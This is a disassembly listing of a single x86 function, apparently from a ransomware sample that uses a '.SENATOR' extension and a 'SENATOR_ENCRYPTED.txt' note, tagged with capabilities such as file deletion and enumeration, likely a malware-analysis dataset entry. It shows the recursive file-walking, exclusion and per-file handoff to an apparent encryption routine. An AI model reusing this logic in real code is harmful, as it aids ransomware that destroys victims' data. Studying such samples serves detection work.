Function at 0x405030
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x26c
mov eax, dword [0x41c004]
xor eax, esp
mov dword [esp + 0x268], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 2
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [esp + 0x18]
push ebx
push str.Start_Enumeration:__s
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], eax
call fcn.00404a10
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea edi, [eax*2 + 0xe]
push edi
push 8
push dword [0x41d32c]
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x4050ca
nop word [eax + eax]
push 0x80
call esi
push edi
push 8
push dword [0x41d32c]
call ebx
mov dword [esp + 0xc], eax
test eax, eax
je 0x4050b0
mov edi, dword [esp + 0xc]
push dword [esp + 0x14]
lea eax, [edi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x18]
mov dword [edi], eax
mov dword [edi + 4], ecx
mov dword [eax + 4], edi
mov eax, ecx
mov dword [esp + 0x18], edi
cmp edi, eax
je 0x4053af
nop word [eax + eax]
lea eax, [edi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x3c]
push eax
push 8
push dword [0x41d32c]
mov dword [esp + 0x1c], eax
call ebx
mov edi, eax
test edi, edi
jne 0x405141
push 0x80
call esi
push dword [esp + 0x10]
push 8
push dword [0x41d32c]
call ebx
mov edi, eax
test edi, edi
je 0x405126
mov eax, dword [esp + 0xc]
add eax, 8
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.SENATOR_ENCRYPTED.txt
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
push 0
push dword [0x41d32c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0xc]
push 0x4199ec
add edi, 8
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x40537e
mov esi, dword [esp + 0xc]
push 0x2a
lea ecx, [esi + 8]
push ecx
call fcn.00406d65
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
add esp, 8
xor ecx, ecx
mov word [eax], cx
nop dword [eax + eax]
push 0x4199f4
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405357
push 0x4199f8
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405357
mov eax, dword [esp + 0x20]
test eax, 0x404
jne 0x405357
test al, 0x10
je 0x4052a3
xor esi, esi
push dword [esi + 0x419550]
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405353
add esi, 4
cmp esi, 0x50
jb 0x405201
mov eax, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 8
push eax
call edi
mov esi, eax
lea eax, [esp + 0x4c]
push eax
call edi
add esi, eax
lea esi, [esi*2 + 0xe]
push esi
push 8
push dword [0x41d32c]
call ebx
mov edi, eax
test edi, edi
jne 0x40526d
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x41d32c]
call ebx
mov edi, eax
test edi, edi
je 0x405251
mov eax, dword [esp + 0xc]
lea esi, [edi + 8]
add eax, 8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
mov dword [edi], ecx
mov dword [edi + 4], eax
mov dword [eax], edi
mov dword [esp + 0x1c], edi
jmp 0x40534d
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
cmp word [eax], 0
je 0x405357
push str..SENATOR
push eax
call edi
test eax, eax
jne 0x405357
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esi + 8]
push eax
call edi
mov esi, eax
lea eax, [esp + 0x4c]
push eax
call edi
add esi, eax
lea edi, [esi*2 + 2]
push edi
push 8
push dword [0x41d32c]
call ebx
mov esi, eax
test esi, esi
jne 0x40531c
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x41d32c]
call ebx
mov esi, eax
test esi, esi
je 0x405300
mov eax, dword [esp + 0xc]
add eax, 8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, esi
call fcn.00404bd0
push esi
push 0
push dword [0x41d32c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4051c0
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0xc]
push edx
push 0
push dword [0x41d32c]
mov eax, dword [edx + 4]
mov ecx, dword [edx]
mov dword [eax], ecx
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x18]
lea eax, [esp + 0x18]
mov dword [esp + 0xc], edi
cmp edi, eax
jne 0x405100
push dword [esp + 0x14]
push 0
push dword [0x41d32c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x274]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00406224
mov esp, ebp
pop ebp
ret 4